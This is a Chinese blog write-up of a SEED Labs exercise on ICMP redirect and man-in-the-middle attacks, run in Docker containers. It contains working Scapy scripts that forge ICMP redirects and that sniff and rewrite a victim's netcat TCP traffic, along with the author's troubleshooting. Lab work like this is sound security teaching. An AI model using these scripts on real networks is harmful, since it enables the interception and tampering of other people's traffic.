Featured image of post ICMP重定向与中间人攻击

ICMP重定向与中间人攻击

实验环境

我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习

启动实验前先清理容器环境,防止被之前的网络配置干扰

1
sudo docker system prune -f

进入实验目录并启动

1
2
cd seed-labs/category-network/ICMP_Redirect/Labsetup
sudo docker compose up -d

遇到问题:报错Error response from daemon: interface specific sysctl setting "net.ipv4.conf.eth0.send_redirects" must be supplied using driver option 'com.docker.network.endpoint.sysctls'

编辑docker-compose.yml,删除这一行

1
- net.ipv4.conf.eth0.send_redirects=0

网络结构包括受害者、攻击者、真实网关、恶意路由器以及目标主机

节点 IP 地址 作用说明
受害者主机 10.9.0.5 攻击目标。初始路由指向 .11
真实路由器 10.9.0.11 连接两个网段的实际节点。它同时拥有 10.9.0.11192.168.60.11 两个 IP
恶意路由器 10.9.0.111 攻击者诱导流量去往的中间人节点
攻击者主机 10.9.0.105 发送伪造 ICMP 重定向报文的节点
目标主机 192.168.60.5 位于另一个网段的通信目标
Docker 网关 10.9.0.1 Docker 虚拟网络的默认出口,不参与实验

ICMP 重定向攻击

ICMP Redirect 用于局域网优化路径。主机将数据包发送给网关时,如果网关发现存在更优的路径,会返回一个重定向报文来让主机更新路由缓存,之后的数据包就会经过新的网关。这个机制缺少认证,只要报文结构合法而且来源看似可信,就有可能被内核接受,因此可以伪造重定向来进行攻击

攻击目标是修改受害者的路由缓存,让受害者发往目标主机的流量途经恶意路由器

受害者

ICMP 重定向并不是无条件生效,需要存在对应的通信流量,否则内核可能直接忽略报文,因此必须让受害者与目标主机保持通信,这样重定向才有机会实行

进入受害者容器,执行ping命令且不中断

1
2
sudo docker exec -it victim-10.9.0.5 bash
ping 192.168.60.5

攻击者

攻击者需要伪造来自网关的 ICMP Type 5 Redirect 报文,告诉受害者访问目标时改走新的路由。需要满足两个条件:重定向报文必须伪装成网关发送,以及报文中必须包含受害者当前正在进行的通信信息。一般通过抓包监听,ARP 欺骗,局域网嗅探等获取此信息

进入攻击者容器

1
2
docker exec -it attacker-10.9.0.105 bash
cd /volumes

首先写一个脚本icmp_redirect.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from scapy.all import *

victim_ip = "10.9.0.5"
router_ip = "10.9.0.11"
attacker_ip = "10.9.0.111"
target_ip = "192.168.60.5"

# 构造受害者正在通信的数据包
send_packet = IP(src=victim_ip,dst=target_ip) / ICMP()

# 网关发给受害者一个ICMP重定向并附带数据包
redirect = IP(src=router_ip, dst=victim_ip) / \
           ICMP(type=5, code=1, gw=attacker_ip) / \
           send_packet

# 发送5次攻击报文
send(redirect, count=5, verbose=1)

发送伪造的 ICMP 重定向报文

1
python3 icmp_redirect.py

验证

原本受害者访问目标主机时的路径为受害者>网关>目标主机,攻击成功后会变成受害者>攻击者>目标主机

攻击完成后,停止受害者机器上的 ping 命令,在受害者容器查看路由缓存

1
ip route show

可以看到以下输出

1
2
3
default via 10.9.0.1 dev eth0 
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5 
192.168.60.0/24 via 10.9.0.11 dev eth0 
  • 第一行说明默认网关是10.9.0.1
  • 第二行说明10.9.0.x 网段就在本地,不需要经过网关,可以直接发送
  • 第三行说明访问 192.168.60.x 网段时走静态路由10.9.0.11

如果攻击成功,第三行应该显示的是10.9.0.111。攻击失败了,这是Docker中复杂的网络环境,以及现代Linux对ICMP重定向更严格的校验所导致,即使攻击报文成功发送,受害者也不一定更新缓存。因此手动添加路由进行模拟即可

1
ip route add 192.168.60.5 via 10.9.0.111

附:排查过程

容器

查看容器信息,并没有问题

1
2
sudo docker ps -a
sudo docker exec malicious-router-10.9.0.111 ip addr show eth0

在发包的时候进行抓包,可以看到0a09006f中6f对应111,这里也没有问题

1
tcpdump -i eth0 icmp -XX

修改脚本中的攻击者ip为10.9.0.100,删除路由缓存后重新进行攻击,发现路由缓存没有变化,说明这个路由并不是更新的动态缓存,而是写在Docker配置里的静态路由

1
ip route flush cache

查看docker-compose.yml,发现这一行,这说明受害者的默认路由被指向10.9.0.11,也就是刚刚输出的地址

1
2
3
4
5
victim:
    ...
   command: bash -c "
                      ip route add 192.168.60.0/24 via 10.9.0.11 &&
                      tail -f /dev/null

这里说明真正的路由器其实是10.9.0.11,而不是我最初以为的10.9.0.1。修改脚本中的路由器ip为10.9.0.11,重新发包后还是没有用

1
2
3
4
5
6
7
Router:
    ...
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.11
            net-192.168.60.0:
                ipv4_address: 192.168.60.11

发包

再次进行抓包,tcpdump -i eth0 -nn -vvv icmp

1
10.9.0.5 > 192.168.60.5: ICMP echo request, id 0, seq 0, length 8

这句话表示攻击报文中嵌套的原始数据包片段,声明受害者10.9.0.5正在向目标192.168.60.5发送一个8字节的Ping请求,内核通过核对这段嵌套信息与自身发出的真实流量是否一致,来决定是否接受路由重定向。这里说明发出的攻击包中确实附带了受害者最近的通信信息

删除受害者的静态路由,ping直接断掉,尝试发包依旧没有用

1
ip route del 192.168.60.0/24 via 10.9.0.11

验证攻击包到底有没有真的作用在受害者的网卡上,受害者执行tcpdump -i eth0 icmp -nn,输出如下,说明一切正常

1
13:40:45.647101 IP 10.9.0.11 > 10.9.0.5: ICMP redirect 192.168.60.5 to host 10.9.0.111, length 36

查看受害者内核计数器,ICMP messages failed为0,ICMP redirects received数量很多,说明大概率是内核拒绝了请求

内核

Linux 内核还有一个反向路径过滤的防御机制,内核收到 .1 发来的重定向包,但它会检查如果向这个地址发包,路径是否是收到包的网口,如果不符合或者路由不通就不更改,在受害者容器内进行关闭

1
2
3
sysctl -w net.ipv4.conf.all.accept_redirects=1
sysctl -w net.ipv4.conf.all.secure_redirects=0
sysctl -w net.ipv4.conf.all.rp_filter=0

还是失败了,又把最开始的.11添加回去,依旧不行,说明实验确实无法正常完成,只能进行模拟

中间人攻击

攻击的核心并不是重定向本身,而是通过重定向使流量经过攻击者,实现对流量的控制。此时攻击者已经处于通信路径中间,但默认情况下数据仍然是直接转发的,需要对数据进行拦截和修改。路由缓存有时间限制,中间人攻击需要在有效期内完成,否则需要重新进行重定向攻击

通信

在目标主机上开启监听

1
2
docker exec -it host-192.168.60.5 bash
nc -lp 9090

受害者发起连接

1
nc 192.168.60.5 9090

通信建立后,在恶意路由器上关闭内核转发,这是为了防止数据包在被脚本篡改之前就被系统转发走

1
2
docker exec -it malicious-router-10.9.0.111 bash
sysctl net.ipv4.ip_forward=0

攻击

进入脚本目录

1
cd /volumes

在恶意路由器写一个中间人脚本mitm_nc.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from scapy.all import *
import re

VICTIM_IP = "10.9.0.5"
HOST_IP = "192.168.60.5"
# 获取攻击者自身的 MAC,用于过滤
MY_MAC = get_if_hwaddr("eth0")

def spoof_pkt(pkt):
    # 过滤自身发送的数据包
    if pkt.src == MY_MAC:
        return

    # 仅处理 TCP/IP 数据包和 9090 端口通信
    if not pkt.haslayer(IP) or not pkt.haslayer(TCP):
        return
    if pkt[TCP].dport != 9090 and pkt[TCP].sport != 9090:
        return

    # 受害者发给目标主机,拦截并篡改数据
    if pkt[IP].src == VICTIM_IP and pkt[IP].dst == HOST_IP:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        
        if pkt.haslayer(Raw):
            data = pkt[Raw].load
            newdata = re.sub(rb'[^\r\n]',b'A',data)
            newpkt[Raw].load = newdata

        send(newpkt, verbose=False)


    # 目标主机发给受害者,正常转发返回流量
    elif pkt[IP].src == HOST_IP and pkt[IP].dst == VICTIM_IP:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

# 抓取 Victim 与 Host 间的 9090 TCP 流量
f = f'tcp and port 9090 and (host {VICTIM_IP} and host {HOST_IP})'

sniff(iface="eth0",filter=f,prn=spoof_pkt,store=0)

运行中间人脚本

1
python3 mitm_nc.py

验证

在受害者端发送任意字符串,目标主机接收到的内容被替换为相同长度的A,这说明数据已在传输过程中被修改

Like 0
本站已不稳定运行 小时 分钟
共发表文章 27 篇 ,总计 120.48 k 字
本站总访问量:
使用 Hugo 构建
主题 StackJimmy 设计